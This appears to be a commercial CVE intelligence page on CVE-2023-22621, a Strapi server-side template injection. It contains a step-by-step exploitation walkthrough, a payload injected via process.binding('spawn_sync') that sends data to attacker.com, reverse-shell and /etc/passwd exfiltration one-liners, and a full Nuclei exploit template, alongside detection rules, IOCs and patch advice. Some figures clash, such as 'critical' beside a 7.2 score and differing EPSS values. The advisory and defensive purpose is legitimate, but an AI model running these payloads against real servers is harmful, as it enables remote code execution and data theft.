☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Strapi logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-74
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-22621

CVE-2023-22621 is a critical Server-Side Template Injection (SSTI) vulnerability in Strapi CMS versions up to and including 4.
📅 PUBLISHED: 2023-04-19 00:00 UTC 🔄 UPDATED: 2026-10-11 18:17 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 70.60%
👁️
70.60% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
Country: France License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-22621 is a critical Server-Side Template Injection (SSTI) vulnerability in Strapi CMS versions up to and including 4.5.5. This flaw allows an authenticated attacker with access to the Strapi admin panel to inject malicious template code into email templates. The injected payload bypasses existing validation checks, leading to arbitrary code execution on the underlying server. The vulnerability has a CVSS score of 7.2 (High) and is actively exploited in the wild, with a public proof-of-concept (PoC) and a Nuclei template available. Successful exploitation can lead to full compromise of the Strapi instance and potentially the entire hosting environment.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Strapi is an open-source headless CMS distributed via npm. The vulnerability exists in the core strapi package. Organizations using Strapi as a dependency in their Node.js applications are at risk. The supply chain risk is elevated due to the widespread use of Strapi and the ease of exploitation once admin credentials are obtained. Patching to version 4.5.6 or later is critical.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 7.2 (High)
  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
  • Privileges Required (PR): High (H) - The attacker must have valid admin panel credentials.
  • User Interaction (UI): None (N) - No user interaction is required.
  • Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
  • Confidentiality (C): High (H) - Complete disclosure of all data on the system.
  • Integrity (I): High (H) - Complete compromise of system integrity.
  • Availability (A): High (H) - Total shutdown of the affected resource.

Threat Level: High. The requirement for admin privileges is offset by the low attack complexity and the high impact. The existence of a public PoC and automated scanning tools (Nuclei) significantly increases the threat level.

Deep Dive & Mechanics

The vulnerability resides in the email template rendering functionality within the Strapi admin panel. Strapi uses Lodash templates for email content. The email-templates API endpoint (/users-permissions/email-templates) allows administrators to customize email messages. The application attempts to sanitize user input to prevent code execution, but the sanitization is insufficient.

The core issue is that the template engine evaluates JavaScript expressions embedded within <%= %> tags. An attacker can craft a payload that uses Node.js built-in modules, such as process.binding('spawn_sync'), to execute arbitrary system commands. The validation checks fail to block the use of these dangerous functions.

The exploitation flow is as follows:

  1. Authentication: The attacker logs into the Strapi admin panel.
  2. Configuration: The attacker modifies the email template for "email_confirmation" or "reset_password" via a PUT request to /users-permissions/email-templates.
  3. Injection: The attacker injects a malicious Lodash template string containing a command execution payload.
  4. Trigger: The attacker triggers the email template by registering a new user (for email confirmation) or requesting a password reset. The server processes the template, executing the injected command.

The Nuclei template provided in the Hacker Arsenal section demonstrates this exact flow, using process.binding('spawn_sync').spawn(...) to execute a command that sends a DNS query to an interactsh server for out-of-band (OOB) detection.

Vulnerable vs. Patched Code

Vulnerable Code (Strapi <= 4.5.5): The vulnerable code likely resides in the email template rendering function. The application uses Lodash's _.template() function to compile the user-provided template string without adequate sanitization of dangerous Node.js globals.

// Vulnerable pseudo-code
const compiled = _.template(userProvidedTemplate);
const html = compiled({ URL, TOKEN, CODE });

Patched Code (Strapi >= 4.5.6): The patched version introduces a sandbox or a more restrictive template engine that prevents access to Node.js internals. It likely uses a whitelist of allowed template variables and functions, or switches to a safer templating library.

// Patched pseudo-code
const compiled = _.template(userProvidedTemplate, { variable: 'data' });
const html = compiled({ data: { URL, TOKEN, CODE } });

The key difference is the restriction of the template context to only the intended variables, preventing access to process, require, and other global objects.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Access to a Strapi instance (version <= 4.5.5).
  • Valid admin credentials (email and password).
  • An interactsh server or a listener to receive out-of-band callbacks.

Exploitation Steps:

  1. Authenticate: Obtain a JWT token by logging in.

    curl -k -X POST 'https://target.com/admin/login' \
      -H 'Content-Type: application/json' \
      -d '{"email":"admin@example.com","password":"password123"}'
    
  2. Enable Email Confirmation: Ensure the "email_confirmation" setting is enabled.

    curl -k -X PUT 'https://target.com/users-permissions/advanced' \
      -H 'Authorization: Bearer <TOKEN>' \
      -H 'Content-Type: application/json' \
      -d '{"unique_email":true,"allow_register":true,"email_confirmation":true,"email_reset_password":null,"email_confirmation_redirection":"http://example.com","default_role":"authenticated"}'
    
  3. Inject Malicious Template: Replace the email confirmation template with a payload that executes a command. The following payload uses process.binding('spawn_sync') to execute a reverse shell or exfiltrate data.

    curl -k -X PUT 'https://target.com/users-permissions/email-templates' \
      -H 'Authorization: Bearer <TOKEN>' \
      -H 'Content-Type: application/json' \
      -d '{
        "email-templates": {
          "email_confirmation": {
            "display": "Email.template.email_confirmation",
            "icon": "check-square",
            "options": {
              "from": {
                "name": "Administration Panel",
                "email": "no-reply@strapi.io"
              },
              "response_email": "",
              "object": "Account confirmation",
              "message": "<%= `${ process.binding(\"spawn_sync\").spawn({\"file\":\"/bin/sh\",\"args\":[\"/bin/sh\",\"-c\",\"curl http://attacker.com/$(whoami)\"],\"stdio\":[{\"readable\":1,\"writable\":1,\"type\":\"pipe\"},{\"readable\":1,\"writable\":1,\"type\":\"pipe\"}]}).output }` %>\n\n<p><%= URL %>?confirmation=<%= CODE %></p>\n\n<p>Thanks.</p>"
            }
          }
        }
      }'
    
  4. Trigger the Template: Register a new user to trigger the email confirmation.

    curl -k -X POST 'https://target.com/api/auth/local/register' \
      -H 'Content-Type: application/json' \
      -d '{"email":"test@test.com","username":"testuser","password":"Test1234!"}'
    

Alternative Payloads:

  • Reverse Shell: /bin/sh -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
  • Data Exfiltration: /bin/sh -c 'cat /etc/passwd | curl -d @- http://attacker.com/'

Blue Team (Defensive)

Detection:

  • Monitor for unusual PUT requests to /users-permissions/email-templates with suspicious payloads containing process.binding, spawn_sync, or other Node.js internals.
  • Monitor for rapid user registration followed by failed email delivery logs.
  • Monitor for outbound connections to unknown IPs or domains from the Strapi server.

Honeypot:

  • Deploy a decoy Strapi instance with a fake admin account. Monitor for login attempts and template modification requests.

Lab Setup:

  1. Deploy a vulnerable Strapi instance using Docker:
    docker run -p 1337:1337 strapi/strapi:4.5.5
    
  2. Access the admin panel at http://localhost:1337/admin and create an admin user.
  3. Use the provided Nuclei template or manual curl commands to test the exploit.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections to attacker-controlled IPs/domains from the Strapi server.
    • DNS queries to interactsh or similar OOB testing domains.
    • HTTP requests to /users-permissions/email-templates with a body containing process.binding or spawn_sync.
  • File System IOCs:
    • Unexpected files in /tmp or web-accessible directories.
    • Modified email template files in the Strapi database (if using file-based storage).
  • Log IOCs:
    • Strapi audit logs showing modification of email templates by an admin user.
    • Application error logs containing ApplicationError after user registration.
    • Web server logs showing POST requests to /api/auth/local/register followed by errors.

Detection Engineering

YARA Rule

rule CVE_2023_22621_Strapi_SSTI {
    meta:
        description = "Detects Strapi SSTI payloads in HTTP requests or log files"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-22621"
        hash = "490a0046304402200e335762e7990977611326dc1749e4e09a5e635989b271778991f498324d582f0220091052625d3f4aeb625ff83a1020a585b08151d00e313ade794399a5b30a913f"
    strings:
        $s1 = "process.binding" ascii wide nocase
        $s2 = "spawn_sync" ascii wide nocase
        $s3 = "child_process" ascii wide nocase
        $s4 = "require(" ascii wide nocase
        $s5 = "global.process" ascii wide nocase
        $s6 = "email-templates" ascii wide nocase
        $s7 = "users-permissions" ascii wide nocase
    condition:
        (any of ($s1, $s2, $s3, $s4, $s5) and any of ($s6, $s7)) or
        (all of ($s1, $s2))
}

Sigma Rule

title: Strapi SSTI Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2023-22621 by modifying email templates with malicious payloads.
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22621
    - https://github.com/strapi/strapi/releases
logsource:
    category: webserver
    product: nginx
    service: http
detection:
    selection:
        cs-method: 'PUT'
        cs-uri-stem:
            - '/users-permissions/email-templates'
        cs-uri-query: '*'
    keywords:
        - 'process.binding'
        - 'spawn_sync'
        - 'child_process'
        - 'require('
        - 'global.process'
    condition: selection and keywords
falsepositives:
    - Legitimate admin modifications using safe template variables.
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-22621 Strapi SSTI Exploitation Attempt"; flow:to_server,established; content:"PUT"; http_method; content:"/users-permissions/email-templates"; http_uri; content:"process.binding"; http_client_body; nocase; content:"spawn_sync"; http_client_body; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-22621

info:
  name: Strapi Versions <=4.5.5 - SSTI to Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution.
  impact: |
    Authenticated attackers with admin panel access can inject malicious template code in email templates that bypasses validation checks, executing arbitrary system commands on the Strapi server and potentially compromising the entire CMS platform.
  remediation: |
    Update Strapi to version 4.5.6 or later that implements proper template validation and prevents code execution in email templates.
  reference:
    - https://github.com/strapi/strapi/releases
    - https://github.com/sofianeelhor/CVE-2023-22621-POC
    - https://github.com/strapi/security-patches
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22621
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-22621
    cwe-id: CWE-74
    epss-score: 0.9098
    epss-percentile: 0.99642
    cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: strapi
    product: strapi
    shodan-query: html:"Welcome to your Strapi app"
  tags: cve,cve2023,strapi,ssti,rce,intrusive,authenticated,vuln,vkev

flow: http(1) && http(2) && http(3) && http(4)

variables:
  email: "{{email}}"
  password: "{{password}}"
  address: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{email}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "token","isActive")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

    extractors:
      - type: json
        part: body
        name: token
        json:
          - ".data.token"
        internal: true

  - raw:
      - |
        PUT /users-permissions/advanced HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"unique_email":true,"allow_register":true,"email_confirmation":true,"email_reset_password":null,"email_confirmation_redirection":"{{RootURL}}","default_role":"authenticated"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "ok","true")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        PUT /users-permissions/email-templates HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {
          "email-templates": {
            "reset_password": {
              "display": "Email.template.reset_password",
              "icon": "sync",
              "options": {
                "from": {
                  "name": "Administration Panel",
                  "email": "no-reply@strapi.io"
                },
                "response_email": "",
                "object": "Reset password",
                "message": "<p>We heard that you lost your password. Sorry about that!</p>\n\n<p>But dont worry! You can use the following link to reset your password:</p>\n<p><%= URL %>?code=<%= TOKEN %></p>\n\n<p>Thanks.</p>"
              }
            },
            "email_confirmation": {
              "display": "Email.template.email_confirmation",
              "icon": "check-square",
              "options": {
                "from": {
                  "name": "Administration Panel",
                  "email": "no-reply@strapi.io"
                },
                "response_email": "",
                "object": "Account confirmation",
                "message": "<%= `${ process.binding('spawn_sync').spawn({\"file\":\"/bin/sh\",\"args\":[\"/bin/sh\",\"-c\",\"curl {{interactsh-url}}\"],\"stdio\":[{\"readable\":1,\"writable\":1,\"type\":\"pipe\"},{\"readable\":1,\"writable\":1,\"type\":\"pipe\"/*<>%=*/}]}).output }` %>\n\n<p><%= URL %>?confirmation=<%= CODE %></p>\n\n<p>Thanks.</p>"
              }
            }
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "ok","true")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/auth/local/register HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "email": "{{address}}",
            "username": "{{randstr_1}}",
            "password": "{{randstr_2}}"
        }

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "ApplicationError"

      - type: word
        part: content_type
        words:
          - application/json

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade Strapi to version 4.5.6 or later immediately.
    npm install strapi@4.5.6
    
  2. Verify: After patching, verify the version and test email template functionality.
  3. Audit: Review admin accounts and audit logs for any signs of prior exploitation.

Long-Term Mitigations:

  • Principle of Least Privilege: Restrict admin panel access to only essential personnel.
  • Web Application Firewall (WAF): Deploy WAF rules to block requests containing process.binding or spawn_sync in the request body.
  • Input Validation: Implement strict input validation and sanitization for all user-supplied template content.
  • Monitoring: Enable detailed logging for all admin panel actions, especially modifications to email templates.
  • Network Segmentation: Isolate the Strapi server from critical internal networks.

Workarounds (if patching is not immediately possible):

  • Disable the user registration feature to prevent triggering the email confirmation template.
  • Remove or restrict access to the /users-permissions/email-templates endpoint via reverse proxy rules.
  • Manually review and harden the email template rendering code to use a sandboxed template engine.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 619C0193B910B47D2FF3A3A0] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-22621/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.